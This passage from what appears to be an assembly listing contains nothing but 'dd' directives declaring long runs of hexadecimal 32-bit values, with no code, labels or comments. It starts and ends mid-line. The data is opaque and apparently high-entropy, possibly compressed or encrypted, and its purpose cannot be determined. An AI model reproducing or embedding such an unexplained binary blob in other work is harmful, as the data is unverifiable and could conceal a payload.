9E6EB0A6h dd 0CEA50013h, 8F3EA482h, 1503E180h, 0B1E304D3h, 1B6AA810h dd 3827008Ah, 69C31154h, 89033795h, 0EA335817h, 60979FCDh dd 0B1468D1h, 0C2D01025h, 9B3B004Fh, 2BA867DBh, 0DF03767Dh dd 0A18418Bh, 0B400058h, 4022E9CDh, 7800E2C1h, 0D771CB25h dd 69C2C5h, 32133EAEh, 0A5F2D358h, 2FEEBB00h, 0C67F8E30h dd 41E2007Bh, 0C71FCF65h, 2C7A03DCh, 0FB00A67Bh, 307ADF44h dd 72440D3h, 616D9A78h, 24BE6FE8h, 1EF38C60h, 0D03012D9h dd 2F0281D6h, 1A4E004Dh, 43288F6Fh, 0D43F8A6Ch, 0D3B08E52h dd 0C9CB9E16h, 0D27706F5h, 0F9B080C9h, 2C000E0h, 0C2380F9Ah dd 0E500FF6Ah, 817804B3h, 0EC7FC59h, 278FA920h, 4A9EE881h dd 52CCE882h, 0F80067F8h, 2C264C6Bh, 0E3157h, 86AD9B21h dd 5DF17712h, 3CB82760h, 3087078h, 0ED2EF6A6h, 9DE0D290h dd 0F150A1F4h, 45004C84h, 213C7A1Dh, 4D7786h, 0BFC9BB72h dd 14D88C94h, 0F627D500h, 1C5EF9A7h, 25A50F56h, 67E39351h dd 0BAA0C7E7h, 12002824h, 0B0084586h, 61DCC5h, 0E7CBF2AAh dd 0E3EEA5ADh, 372F1200h, 23B28924h, 0FCA0A011h, 793200CCh dd 590BFE41h, 0E300D714h, 6D2758A1h, 0F62CA2B7h, 95A707A3h dd 0BC44A06Bh, 7C3886D8h, 1723810Fh, 11CE0853h, 56E2F0h dd 31A03E15h, 0C3719BE5h, 0CDF67707h, 0D310B77Ch, 0F6AA4196h dd 82F5304Ch, 1CA289A8h, 0F9C84D01h, 1D4295EBh, 0C03D2CC0h dd 0AE097EB0h, 0A930B05Fh, 264D307Fh, 8CF504B2h, 929BD01Fh dd 5846D860h, 1654AA01h, 0B7DEE091h, 24631424h, 60088737h dd 6F95418Eh, 0FDE8D000h, 0FB197DAh, 4FF30015h, 0F22D08C6h dd 25003EA7h, 1B09AD4Dh, 2D40B9Ch, 51A8440Eh, 77C1E198h dd 7D6CF00Ch, 0F2B17E00h, 26671CABh, 7BB32C2Ah, 0DC1E73h dd 9C11E4C5h, 0B604818Fh, 0C2A5DD36h, 153ECC8Ah, 3411EC03h dd 8EF0E85Bh, 0C90CFDA6h, 48C71303h, 0B4BD0006h, 2D8B28F0h dd 6A283DBFh, 1500ECEFh, 6B61A8EDh, 8D57B7h, 0F0A72C72h dd 12070147h, 3C5B6618h, 0FC0AAD28h, 0FAF84Ah, 9A695E6Ch dd 0CA558DD7h, 5BAE3813h, 599F0C00h, 70DD18Eh, 0F5119097h dd 9C790089h, 0E12CCB37h, 0BB1224D2h, 0E6ACF400h, 1BCCD7C0h dd 0D092DC7Fh, 74A15E88h, 46518109h, 9BD8180Fh, 0C4C95241h dd 1B70F403h, 8690F6D8h, 65001913h, 9DF3C912h, 0EA523025h dd 7D9F1CA4h, 2C18DFD2h, 4D9268h, 0A76CB6D8h, 0C600C777h dd 0D8CABCE1h, 4C198F3h, 949CB08Ah, 0B3383D3h, 0EF4080ECh dd 7013D286h, 45DFB13h, 12027D42h, 7B94403Bh, 60C203A7h dd 579FBD4h, 7A39BBC0h, 47F19860h, 7D1324E7h, 0CC3D303Ch dd 0E6FCDFD0h, 908B4800h, 1D850396h, 76C21F89h, 0C5E4806Fh dd 0BC8211E1h, 23035091h, 0A8C68553h, 0EAE2D5C9h, 0D6930289h dd 9E08433Dh, 68A6C864h dd 6F6A9501h, 0CBDA796Eh, 0D1B4A410h, 6BC30085h, 9D9B716Dh dd 219C5C4Dh, 332F8062h, 65F8A958h, 597EEF15h, 90F00884h dd 128022D1h, 5FFDB44Bh, 0CEFA01D0h, 0C9348D66h, 0E23DF09Ch dd 0FBEBF306h, 0C409353h, 34BD848Ch, 80096F1h, 0B0DECB42h dd 700A3561h, 44B9C0B8h, 2A9881D1h, 0FEB65D02h, 0C092800Eh dd 0C97353h, 893BCCA8h, 0EAB75C1Ch, 83A4B01Fh, 0E3789680h dd 0ECE6BB2h, 0C752B1E0h, 0A0E42CE0h, 0E103FF79h, 39C815Bh dd 98DBB3B5h, 6C3370h, 3A404BD0h, 216E4F5Ah, 0E0ED3D01h dd 6BC2B42Eh, 6DD71083h, 0E5C054D3h, 9409BE4Dh, 271C03F2h dd 0BF372934h, 0ADAAAF90h, 28D04904h, 89B57883h, 0E29F0609h dd 0B95080CFh, 1C36A35Ah, 40FC5620h, 0E5ECB03h, 8E4C1060h dd 0B0590008h, 866EB7E4h, 8E62481Ch, 8DCF1D00h, 0D3AEAA7Bh dd 2D0001EEh, 0A18BD789h, 0A7B272h, 0ACD26A0Ah, 0EAB11B0Ch dd 0FFAAF900h, 43E4C035h, 204031Ah, 0ED127AAFh, 216826E8h dd 9FD9B800h, 0F0A9521Fh, 0FDEC08h, 9684F2BBh, 59079A0Fh dd 4200EEF6h, 0D0C73302h, 1D7714C5h, 0B84490h, 98EC2619h dd 73ED263h, 222983B3h, 0E894CEE9h, 2BBF56h, 0F94A8E04h dd 0C43AF368h, 38D49F38h, 1CD8044h, 100907C0h, 0A8B2502Fh dd 0DFCE02B5h, 0AF4B71A4h, 29C33048h, 1D7FED76h, 0FB008492h dd 9588E9D7h, 0C2C840h, 0F2500A85h, 312BB72Fh, 0C1649704h dd 8881A123h, 0A107D6Fh, 8603DE8h, 0F9CAD240h, 0F63122Eh dd 98E040B2h, 8933B9ADh, 1017C4A0h, 0D0EF7F2Ch, 0A4F0C901h dd 0EC40A364h, 0BD46B5h, 3C49D1Ch, 0D191E678h, 6F28FE0Eh dd 36E4802Dh, 266C38h, 6375DF3Dh, 128EE6EEh, 5D02507Eh dd 0B19C4FCEh, 0BFC0406Dh, 4A3F0024h, 4BCC9951h, 0A1031610h dd 9E7B80CEh, 0C81FD25Eh, 0B91C90h, 0AC3E3FE8h, 7B722ECAh dd 5379932Eh, 830CD42Ah, 0A93E4FFBh, 0F0B2461h, 0AB0980ACh dd 0A56277F7h, 8AC3D700h, 19FDADD2h, 66EB0076h, 1154FCA9h dd 8C06313Dh, 0F5B0CCB9h, 0F82A16A0h, 0BD7700FEh, 0D7A928D4h dd 80DC7059h, 0CE5BC239h, 0AE58008Ah, 0B47FEBB1h, 0E4074941h dd 0E2851571h, 66E67752h, 16531394h, 78C070DEh, 7A758FA3h dd 0C53C0418h, 632DEB8h, 0B16453Fh, 701671F7h, 0E401D414h dd 6DC435Ah, 4C6EC0h, 0EAD022AFh, 1C8A31BBh, 3773120Eh dd 0E4E5241Dh, 501411C0h, 238F2E22h, 487C2478h, 250DC47Ch dd 12855893h, 658EBA8h, 891EEF9Ch, 8FB6BF19h, 0D0B28CE9h dd 0CC1AB3E9h, 0AE1A0978h, 5045D748h, 0AD31F700h, 0BA2A5C23h dd 0A81F5CBCh, 9C012125h, 0FF561722h, 0D4B16816h, 9C033E00h dd 989FC126h, 19890DCh, 5ABAC823h, 208A81FDh, 6E0B3A08h dd 2EB6B5E2h, 0BA89C0BCh, 0C0A7284Ch, 0FD7A6081h, 8700C09Fh dd 0ECD450AAh, 4199A0h, 5411A947h, 0A78FC95Ch, 13009A79h dd 0F2EE32ABh, 0F6E09824h, 934C0388h, 0E35165DEh, 3E94D790h dd 63024000h, 5D255AA2h, 588D1DE4h, 87DCE1h, 0DFFF99D6h dd 7B016C6Bh, 0F863FCA5h, 25D829B1h, 3DFE73h, 7A404FE0h dd 0A1C6604Ah, 0B41EB6EAh, 8F49CB77h, 6B70236Fh, 0F9D919B5h dd 0C886D138h, 4406DC27h, 6511E36Ah, 0C4D1F20h, 14F3C6DFh dd 1E27281Fh, 200C0074h, 17CB807h, 411271F7h, 215C6E82h dd 0C317DCBCh, 815D383Dh, 0FD688DC6h, 2080656Ah, 4B85479Eh dd 0A900B292h, 38B9B580h, 0F3C68Ch, 0DA88FD67h, 8BD53917h dd 6FFA8374h, 1EE5FE00h, 2EEBC416h, 7CAB0052h, 338724Fh dd 5548C9EFh, 244A0F3Ch, 3A7EA012h, 0E91DC8h, 0FFD89D2Eh dd 0F4C6396Bh, 8A0E4000h, 38501A4Fh, 2DCC009Ch, 0D5815A85h dd 9900E28Dh, 6B14C99Dh, 1DB1912h, 92B724EBh, 29A7CCC8h dd 73047D6Ch, 0E4CDA4B4h, 0D5DC090h, 2810038Ch, 1ECF27F8h dd 0A08059FAh, 0AAE04882h, 0D8AF0400h, 0EFC45B8Bh, 8B10094h dd 3C9AE324h, 3A39594Fh, 3EC70026h, 42A912FEh, 56E237h dd 8667C63Dh, 723539Dh, 40B67200h, 5BAA3EA4h, 0EB7F45Eh dd 0C0E4DBC4h, 0B4FF00D3h, 456785D7h, 190ABD00h, 254762EEh dd 155400A0h, 0BED4CC4Ch, 1000BAECh, 91CF8FF4h, 0F14906h dd 93B2085h, 0EAE16DBDh, 0B1284200h, 0B9D6705Bh, 0B41C00D9h dd 7E602FD8h, 7D001497h, 0D4A54FC0h, 492537h, 77A3570Bh dd 5D5B0370h, 80D2F93Fh, 4EE4E396h, 87015Ah, 6D279174h dd 0AB5D2044h, 9D38291Fh, 0A06F7240h, 1481BBh, 4E612BCEh dd 8086576Eh, 0E7BD5801h, 2DF851E1h, 0F592C0h, 0FAAFC3F2h dd 883F1202h, 2B803D00h, 320AE043h, 3B9831h, 0AC39D26Fh dd 6ED7961Dh, 0BBC44800h, 35868859h, 379D003Dh, 0FA531BB5h dd 0AF01DDCAh, 61368C4Dh, 0F2FCE3D0h, 69913F3h, 0B0C0D021h dd 5C00CCF4h, 60A13B42h, 24806FCEh, 0A731D2h, 0AB5A5F9Ah dd 20C0E0A6h, 9B98F78Ah, 0EF310037h, 0CDF012A2h, 149828D5h dd 0E13EB3F4h, 0AD410049h, 7279AF20h, 6630D82Fh, 343FF6BAh dd 6E400036h, 0C51DF34Eh, 73FD05FFh, 80CC476Ah, 0D3FBBFFCh dd 40D83600h, 8598C195h, 0D77F0158h, 9A9C118Ah, 0E76820FBh dd 0EB252000h, 6A287AC5h, 903A008Fh, 5DC13504h, 0BE01FA4Eh dd 3EE6BDD0h, 0F7605381h, 38A063B9h, 80E0E9AEh, 0BC267F22h dd 0B680B435h, 68D2A7CAh, 0D18C0047h, 0EE5B86BBh, 0B807F78Bh dd 0E5819628h, 0B30FE010h, 1B260717h, 70207845h, 0A2CE9788h dd 0FE8E7B07h, 42C0DD24h, 12C58632h, 686E5Eh, 0F9C82E8h dd 0D200168Fh, 0C6A155A0h, 9AF075h, 0CFF1103h, 0AAE24638h dd 75DAF00h, 0E70569B9h, 0CDE10075h, 60213A8Ah, 61B8AC71h dd 33F02009h, 10E8003Eh, 7DDFC4h, 0E23CDD4Ch, 3B069C1Bh dd 0A0FD982Ch, 0D4155200h, 304843h, 95191840h, 916B6926h dd 86C7A40Fh, 127408Bh, 0F2D9FDFBh, 4243BDCh, 0ACEEF901h dd 0D4757FEFh, 0DF003BBBh, 6CD1CCBDh, 6A499Eh, 5601CE5Fh dd 0B7D774C6h, 0B40EA090h, 0C0139CAEh, 4BFF86B2h, 8250000Dh dd 7DDE3A23h, 3800DDE3h, 9570E91Eh, 3937B4h, 862FB141h dd 0B3E7CEEBh, 0AB98A90Ch, 8850E5h, 6882915Ah, 0EF768502h dd 8F5FFD0Fh, 0F865607Ch, 0B85CF73Ch, 30E76090h, 1AECE2ABh dd 12014F7Fh, 4A0D89A0h, 6EF03510h, 317144Dh, 7302945Fh dd 0A0762638h, 0AD48D960h, 582BC324h, 1FAFC900h, 0EE35A11h dd 0E5AEB564h, 8E909F40h, 0E6008ACFh, 0E4FCA782h, 0EECE8FB2h dd 4C3B0919h, 0A860267Dh, 2800848Dh, 2FE08033h, 0BDAA0A8h dd 15787263h, 4D594C00h, 6209ABF5h, 0C81F86EFh, 0C52B10h dd 8C185B8Ah, 31799DBAh, 600DD701h, 907D07D0h, 6194EC0h dd 0FE44758h, 2B00A82Ah, 652C36Eh, 1C1323CEh, 19E8CC85h dd 0BED52004h, 26685D2Ch, 0B61EE9A2h, 6216FEDDh, 0D018B219h dd 393ABC00h, 350EB5FEh, 0E0725D9Ch, 11877F2h, 205C0F55h dd 4541190Fh, 81B133F6h, 0A7A40E38h, 3840E124h, 7CEDB806h dd 0F55E00E6h, 6AC4F2CDh, 6C0047EAh, 0E29AF150h, 7766F62h dd 2D6D58CEh, 884126A7h, 8CC01F0Ah, 0F180A46Eh, 190CE12Bh dd 20E06B3h, 29EEE4A7h, 2966B800h, 0C5D6CBA6h, 26CA0055h dd 0DCFAB5AEh, 38015AB2h, 0AC2E2CD4h, 0D9D92D31h, 3C549D8h dd 592A1243h, 0B13FFECAh, 28EB82A0h, 0E0C39E85h, 0E8CCAE7Bh dd 3E21C0CFh, 8C10EBBFh, 0BC99C000h, 0BDD3B7B5h, 0ACFF3C09h dd 217E0180h, 0E55F78D8h dd 4006FE71h, 6D962768h, 0D0A00C9h, 53FF0397h, 0A733040Eh dd 7B0864h, 975EA821h, 71D0318Ah, 137FF100h, 94EBBD43h dd 87C8C540h, 3DB8004Ah, 2EE210D2h, 0E7BFE8A9h, 91BF9293h dd 98E86EA6h, 5F21C509h, 31BF0322h, 7AA5994h, 6BAC7E8Fh dd 8A00D479h, 0D67DFFD9h, 807A7569h, 0AC73EC45h, 49D89F6Ch dd 0EBEA001Fh, 0FED15042h, 2D333C19h, 0A4B820F9h, 432D500h dd 40005894h, 65F53545h, 0D9F748FBh, 1817B8C0h, 0EE0FE428h dd 0C6448C86h, 0BF2500A8h, 71329D84h, 3003FFB6h, 0CD05F2DBh dd 0A77100B3h, 0B9A6F688h, 730E034Ch, 0C1060CDDh, 4D9C19B1h dd 6AA00FCBh, 51E0C5C2h, 0CF660827h, 7F49B600h, 3A7156C9h dd 0BA36009Ah, 7084313Eh, 0D81CB53Bh, 8980A674h, 22A01120h dd 8CB07C0h, 10F5B4C9h, 0FF71BE63h, 0A2CF3Bh, 15E7657Bh dd 3C10C72h, 0A8AF2561h, 0C5A2E82Ah, 4C8F4840h, 5004A7Ah dd 0B24E49BDh, 3AD1933Ch, 70BF8D07h, 4645276h, 1F00A7FEh dd 3D0EBE6h, 5537366h, 200C9CB3h, 291D1C3Dh, 31D7610Dh dd 0C1FB4446h, 4199F4D5h, 3704AA00h, 0AC422A98h, 84C00456h dd 8CED6Bh, 87DBE3ABh, 381603AFh, 3DA909DFh, 31AE8100h dd 4EB75817h, 8EC5035Bh, 6C3A3BC2h, 2029BFB8h, 18D8FF4Ch dd 0A9B1765Ch, 0AB0800D5h, 60224D85h, 7D3A54BCh, 8C1503A5h dd 3BF46E67h, 0A43001C8h, 73B1DCB1h, 0A18F41C0h, 0F00906h dd 716C8325h, 0ADB8DCDAh, 0D0201860h, 0CF2FA908h, 0D680D9A1h dd 8875168Ch, 96005D74h, 1FB3427Ch, 370E7D3h, 0E0430976h dd 7806EA5Bh, 65A90340h, 37B63841h, 1A3E6905h, 5AA4401Eh dd 1DD384EFh, 0EAB41218h, 3C588208h, 0D000192Ah, 900722CEh dd 0E6000865h, 0DB6EEE01h, 0B8E55D15h, 58771D01h, 0A8C60235h dd 0EDC33183h, 0D1995014h, 70C960BCh, 0EA7649h, 9578CE2Ah dd 0E462E5B6h, 6CC7D403h, 5C0B84h, 1C1ECF51h, 2557751Fh dd 7130FE00h, 0AF16F386h, 4B6B22E7h, 0A5537D00h, 0E5D61B82h dd 0B60D05D3h, 0E0EDA234h, 0A9302796h, 0E544F962h, 0B3680116h dd 0BB857DE4h, 4C0898DCh, 39ED7921h, 188B9B11h, 0B580DE02h dd 767D51A9h, 0DCDC0D2Ah, 8CEE307h, 0CD90CC2Eh, 11FA04h dd 0F757C136h, 3D610D43h, 0A1240937h, 0E04FF88Ah, 1C74B9AAh dd 6D2700A5h, 0EE88F306h, 0E800A786h, 54892087h, 1876B3BAh dd 39D3D201h, 0A1CF4BFAh, 975AC098h, 0B1FFCBh, 0C14E997Ah dd 0EFD45CCAh, 0D375C000h, 0B640359Fh, 0E89501DEh, 5C1018F2h dd 9034249Dh, 82142E7Fh, 2AB4340Bh, 0A430B8F3h, 26DD2019h dd 46300040h, 0A2B5B12Ch, 3F127C6Dh, 9C40EA6Bh, 0FC52D03Dh dd 0FBBD3AD2h, 6B42401h, 0E1057479h, 84C0580Bh, 334C2CC4h dd 3A242C81h, 82B1C980h, 65B75EC5h, 66749A05h, 9C060378h dd 2469E3F6h, 4E585753h, 0ECA192CCh, 80B4C73Eh, 283D7D88h dd 125A15E9h, 48EF2FB7h, 84709AB0h, 83063510h, 0C9680299h dd 4C46E746h, 39799D00h, 0A5AA143Dh, 9AC70029h, 6D78CCB7h dd 949168DBh, 8ED2000h, 63A96944h, 9372A187h, 29C8FFC3h dd 8300423Ah, 2A6F0696h, 0C149E73h, 5E1D0843h, 810FD199h dd 55A63Bh, 65E1C4B3h, 0F9E663F3h, 2900B20Dh, 0DC1DBD82h dd 90C3A0h, 6C247ABFh, 0F198DFCCh, 0B148DD12h, 83D6044h dd 0B98AE48Bh, 8A5B08ACh, 860720B1h, 33437183h, 3DF88006h dd 4260B9A3h, 40C56738h, 86A0F9Ch, 240D38Eh, 42011586h dd 23308C48h, 40300116h, 18C4F6C8h, 28DF88A7h, 56514000h dd 7BE682CDh, 0F7B5Bh, 0A0B60237h, 6386EC03h, 0D0981709h dd 0FADC83A1h, 0A7B11F33h, 42A21CF4h, 0A4ECAA1Dh, 0B0159463h dd 24801F1Ah, 2B000809h, 7B66D579h, 803BE40Dh, 49C038FAh dd 8068CB1Fh, 58DB011Eh, 52D2D5B5h, 770C2095h, 8735B938h dd 0BC985AC4h, 1C135FC5h, 88563C08h, 68A80953h, 0CC4743Eh dd 215768B5h, 212C052Ah, 0ACD67FCh, 98A4A5A0h, 0B48B211Bh dd 0EB342201h, 0C4D07689h, 0C48720C0h, 306BCA48h, 23E52127h dd 0E008156Ch, 0EF5C008Ch, 0F0D01021h, 506BA818h, 180C139h dd 7A4FBB66h, 8FF27B84h, 61274A31h, 43767872h, 0D9310BC9h dd 1D64C981h, 433F0ACAh, 0F07DA2BCh, 0E8772C88h, 8C1D0BF2h dd 2C201A0Ah, 0A65F6CE2h, 86F7E00Bh, 417E06AFh, 642C0458h dd 624A83Ah, 103828EDh, 0ED55636h, 0C7C25E23h, 0ED80EA88h dd 0C1A30F0Dh, 0CD2AAD49h, 34646001h, 2924D83Fh, 17001828h dd 4BD1E58Eh, 608A24A4h, 6F1080F4h, 0BBE82265h, 8CC67F00h dd 0AFFB88DFh, 381C00CCh, 47A09727h, 498CAD4h, 24D7B100h dd 0D9CDC0F0h, 9CC71CB7h, 1AAF4089h, 76758F4Fh, 2AB85A63h dd 1EF105EFh, 48131091h, 758E739Ch, 84A0664Bh, 0C5700F11h dd 0AD037758h, 4C53C9Fh, 3168B6ECh, 67E8F96Bh, 0F1448C75h dd 21130090h, 9F28FE4Eh, 0A902D92Ah, 0FA29C671h, 5BD8A037h dd 6A2EDA3h, 0A9AC801Eh, 7D0E193Bh, 0C0CDEE29h, 2EB13340h dd 61A71F4Bh, 8742499Ch, 0BDFE0420h, 0C00085B6h, 2276FA78h dd 16F5BC36h, 2068826Eh, 0BB0E29B0h, 3E11603h, 89228494h dd 0C248BFAh, 29536068h, 9895C9CBh, 0F00E3E7Fh, 2518B51Ch dd 81BF59FEh, 8D83D550h, 0A9BDDC79h, 0C9FEE0h, 0EE099D68h dd 0D7D2105h, 0D65B7900h, 92B9F099h, 0EA1CA00Ch, 387006Ah dd 7F3D23Dh, 0B20C8B98h, 5174FA35h, 62683EC6h, 8788800h dd 15E0EC11h, 0F002D698h, 6BBBE316h, 597F40F5h, 6DFA30B8h dd 0D9CF8A39h, 0A942802h, 0C0EEB5F6h, 177362A4h, 841A01Fh dd 0CB802160h, 0B512C8C3h, 3C4B003Dh, 27F24950h, 3403587Fh dd 0B9232FD3h, 0A0DFAB85h, 0F0DC2572h, 1F1C788h, 71D1CCD5h dd 5AD2DB02h, 52126517h, 24275C68h, 0F89F2976h, 1F3D05E8h dd 5B8C88F4h, 15F13945h, 77D6062h, 0D6B89622h, 1C21FCFAh dd 7E2FD700h, 160CDDA9h, 3710095h, 6134D083h, 3DF276D8h dd 9F44CF00h, 21D47DBh, 0A8990390h, 881A253Ch, 0C5761BE0h dd 0FB00B3F8h, 38BBDA93h, 340A4C4h, 855D5BE2h, 64D8808Ah dd 2D00C8F9h, 0D39FF2BEh, 0F11F14h, 71E4CA4h, 0EC0ECC80h dd 565DBD00h, 0A192AEC8h, 86DE015Eh, 780C321h, 3B44808Fh dd 0EE0BD41Bh, 1BB1F817h, 202CB586h, 0B8405103h, 0FEA84B0Ah dd 58420111h, 4D9D8AC2h, 36933025h, 96D08C6h, 1037020h dd 0DAFD1BC2h, 0C434EB87h, 0D0029267h, 143BE04Eh, 9120C304h dd 0E2E00B28h, 6B70E1F1h, 0C4DE0032h, 0D0E9CD0Ch, 0D800D2EDh dd 0E66A8816h, 0C45365D1h, 0C23898h, 4672EFE2h, 12C3763Dh dd 60ABEB0h, 28C5BDF1h, 0FDC99E00h, 0B2E426F2h, 0D8900034h dd 0F7659FBh, 0C23D2466h, 0AFEF802Ch, 5E8A869Fh, 0EB8B00ABh dd 3AC376D2h, 74F3B6ADh, 3800EC7Eh, 0C9F09D97h, 0EA90EDAh dd 908BC47Ah, 1D509EE0h, 0BAEA52E1h, 96D44600h, 3575BB4Ah dd 1C04036Bh, 90B1814Dh, 4B6CDBC8h, 80038E3Bh, 1EA8A13Fh dd 652E97A9h, 3A0511FFh, 0E258C304h, 0B710007Ch, 6B6E9816h dd 303BD222h, 0E88900EAh, 3B474593h, 0CB00024h, 50FFA042h dd 0F40062A1h, 7307E69Bh, 120D43h, 0A91D8B1Bh, 4D5F80BEh dd 0B2F63501h, 57CF7907h, 38916DDCh, 0BA018902h, 6410D08Ah dd 0C0BECDBBh, 0D1F6704Bh, 732F1D00h, 34A25F93h, 0D49800D9h dd 304C9D5Dh, 5C60D77Eh, 0A86BFE38h, 74683F89h, 0CA215B00h dd 0EA04B09h, 5FC65D0Fh dd 0F830E007h, 4FA172h, 88F09E84h, 0CECC43CAh, 0F30BA000h dd 0E66F7CA6h, 0BDAD074Bh, 60CAB1DDh, 244EA889h, 733A1B06h dd 48DA4Fh, 5DB2A2B6h, 185955A1h, 9300AB75h, 2226CFF3h dd 0FBF174E9h, 0AD0DFFCh, 2425BF94h, 0E8AA8FB4h, 7C7E40E0h dd 0C0C05DCBh, 323D2734h, 50BE06A2h, 391C5390h, 7E88AE7Ch dd 170100B5h, 55DA913Ah, 0BB0060A0h, 0E0112BC0h, 185C1FF4h dd 91109ADCh, 700FE93h, 19CD52DDh, 0A7E0D3h, 97ADAC81h dd 0C97C7845h, 11007470h, 8DFFC455h, 7C0138Ah, 73A34622h dd 0BD6060D6h, 2906E298h, 0AA521FDCh, 0D02500AAh, 77E711CCh dd 9A017B47h, 6F809D44h, 91D475F5h, 86721E45h, 66701F25h dd 6C0900D5h, 0B4BC172Dh, 0CFDEC51Ch, 1E0AB000h, 24E0CAh dd 1CF1CBA6h, 0B4CE8A9Ch, 0A9D4FC01h, 7A69B8BFh, 3EA08040h dd 0F350F9Fh, 568011B2h, 0C4771FEDh, 400D0A0Eh, 807B5D5Fh dd 4FEC8DB3h, 3B9A59D5h, 0E780E883h, 425C8732h, 0F0C71F08h dd 29A0D55Eh, 54C756h, 534ABC93h, 5AE131F2h, 0DB704401h dd 6245E72Bh, 215FC441h, 0F55AF911h, 0E927D403h, 8A644A05h dd 0CDC0B423h, 0DF60E8h, 0DC6D8584h, 4DCB651Bh, 6A672D17h dd 0C869600h, 7B593D3h, 99726277h, 5F9720C4h, 778B7A1h dd 0D65D8D00h, 144D2ECDh, 0D10400ABh, 71A8E8B5h, 0AD907B73h dd 2CFC0550h, 3900197Ch, 9E3F9DB6h, 7C72F4C1h, 0DF0C1F22h dd 67B94246h, 0D6403C29h, 50007E81h, 0F6FAAB06h, 3D583231h dd 0D493AFB9h, 0C50040A5h, 765A2B1h, 318B2D09h, 35240052h dd 0F7A4Fh, 27AF68C0h, 0B0BF1BC7h, 0EC502300h, 28E303F4h dd 20920088h, 0F6FFCDFBh, 0DC70E2D7h, 8E6AA700h, 0D818CF63h dd 66253B71h, 3100BF4Ch, 0EF62AD16h, 0EB005D03h, 449B78CCh dd 0E9249Ch, 0B874BDCDh, 9E3AA31Bh, 0F8767F07h, 0A4D06C66h dd 81D2E2h, 15B19B79h, 423071C0h, 7502A200h, 5E9872B3h dd 0B57F64h, 9B668F26h, 321259BCh, 423DA400h, 0DDE7CAD8h dd 687A009Dh, 4D0E33A9h, 9400990Ah, 0F073CC05h, 6EB1A7h dd 95C8A6ECh, 7C2E2CB3h, 3EBC9E00h, 94841AF1h, 23B400F0h dd 5551652Dh, 52008846h, 1A7C9149h, 70BB38h, 676F9A4Eh dd 242FD1Eh, 8F0E4301h, 0F01B7B58h, 144E73E8h, 0C0AB7E1Ch dd 0CC009C3Dh, 69EAD07Fh, 0D8384D64h, 97B48E53h, 0BE6E40DAh dd 0D5D4C1h, 9ACC5AEAh, 94449A9h, 13667000h, 92ECF595h dd 0E3F000Dh, 5D32382Eh, 41006AEDh, 9BDC20F0h, 0F2C4C45h dd 90968F69h, 74B45BA0h, 0DF0026BDh, 6BE17275h, 876671h dd 6798AE4Ch, 0D718D4BFh, 91A80C04h, 84901378h, 1C6ED69Fh dd 0F6F47h, 0E790D095h, 0FA1321D8h, 0B8040B33h, 74877078h dd 0E81BA233h, 0C0D7B0FEh, 23932718h, 7B085709h, 8D96A5h dd 67836DF8h, 48B28650h, 1C36B600h, 499D1093h, 0A2C00B9h dd 0F435F9D5h, 0E00FD634h, 40A0C967h, 3FF86A3h, 7151070Fh dd 10F33181h, 0F0014EA2h, 6732C400h, 0D7F205E0h, 913C1E24h dd 353C2E3h, 0BF40B426h, 1200BD3Ah, 864A7564h, 5EB6BCBh dd 513CD342h, 0AB800E33h, 72573000h, 9C009F79h, 0B6BE7EEBh dd 4C15B2B1h, 39006CFAh, 0D6831252h, 0BD00D79Eh, 2DF677AEh dd 0FB2073Eh, 3B39DA0Fh, 0A96F8DAFh, 0E91531E0h, 10108B5h dd 0D067506Ch, 53DCE1DEh, 80235345h, 9614CD00h, 1AAAE70Ah dd 7A0AA0ECh, 0DEF29971h, 5201A900h, 0EC1B8FB9h, 9F240108h dd 0A103C518h, 5FD9F7F2h, 0CE30D4BDh, 0D32BD500h, 0E4A57057h dd 3A7CE9h, 254E49B7h, 1250888Dh, 7701BB0Eh, 0F1F7E00Ch dd 0B5787Fh, 803B1441h, 862F23A3h, 0EA2A990Eh, 54040DAh dd 9F8C8Dh, 0F6913736h, 9D11574h, 76B5CC00h, 757E6FD0h dd 7CAF84Ch, 68A79091h, 3243F0E1h, 357E2DC2h, 836C522Ch dd 22D62900h, 3407CCEh, 55A8EAF5h, 0EEB06636h, 1100DAE1h dd 5801BEC2h, 1C7F910Ch, 98B01B89h, 311758A7h, 0BC2E1998h dd 5C806CDEh, 59FD7D67h, 80E479h, 610A091Ch, 0E2B9CE83h dd 0AEB0BD00h, 3519C5BEh, 38A7002Fh, 9CCB1F6Eh, 0B939B157h dd 164B001Eh, 6DE8C47Ch, 5CD50078h, 0C3E28371h, 7D05DAB5h dd 0AD2AE5F1h, 15067480h, 6A6C30D9h, 0C3BA2380h, 9B672BF0h dd 0E287AA11h, 2F6097C0h, 0A9D2B4h, 0E8F2E3B6h, 0F800CBA0h dd 2970D1D0h, 0CE7B53h, 0D7C0C86Dh, 24E6CF72h, 3CD21600h dd 19CC692Dh, 0E1FE0055h, 2AA6B7C7h, 6500B899h, 28F77CF0h dd 9133207h, 0E36A2B4Dh, 2975E020h, 79197C1Dh, 0F8211A71h dd 82EADFE1h, 4801B748h, 4CE32AC4h, 2860564Dh, 0AEA384F0h dd 395800F9h, 5A2E00FEh, 918CDEB6h, 84F4064Eh, 0E6B7B300h dd 3F65A93Ch, 0F1854CD4h, 0D9F4220Eh, 8A20956Fh, 0FEF5DF9Bh dd 50195400h, 0FB23C199h, 0B1491DA1h, 0F6874084h, 0FD7CD865h dd 0D7C51E00h, 3F13F851h, 6BC20030h, 5D486CDh, 0A4007912h dd 7F49BCA3h, 6748801h, 5170FF2Ah, 0C800D1B2h, 4E2DA6A8h dd 1DADC3A2h, 18C6EA2Bh, 0ABEB21C4h, 4E11A600h, 92200971h dd 0F81F0055h, 0DD159D4Fh, 0AC0136CEh, 0E971B239h, 4CD3732h dd 5D61188Ah, 10983094h, 9CA8F903h, 6600C8A5h, 457B7CF3h dd 742380B4h, 2163604Dh, 52667340h, 0C2CFD3Ah, 5837DB5Ch dd 81C941D5h, 3478A899h, 7882CAC8h, 0E7F6645Ah, 0E1EC700Ch dd 66040C0Ch, 4D5B7C1Fh, 0BBBFA837h, 2F0A0194h, 83183938h dd 7F2BE1D6h, 15C4D0F0h, 0ECD6D8B7h, 64DD8E00h, 28A86F9h dd 887A680Eh, 43465DB1h, 7D6E0180h, 0B2C05BEh, 473339Ah dd 30590AB8h, 79B7A612h, 0B3448C23h, 0A6E507E1h, 0F089DE13h dd 4C33479Fh, 0E8B39130h, 1A32A8CFh, 10BBDDD4h, 0D35C1281h dd 4A05CC85h, 0BC75910Ch, 7338E57h, 0E61D09ECh, 6258C01Bh dd 5C042489h, 0F91FD731h, 17ADA280h, 0A2B33D65h, 4726F21Ch dd 0C0483464h, 6A8B4293h, 0F500B9E2h, 0B5396E10h, 0E6C5C8h dd 0B2021843h, 0B1C2D4ECh, 0CD036400h, 0C6996D9Ch, 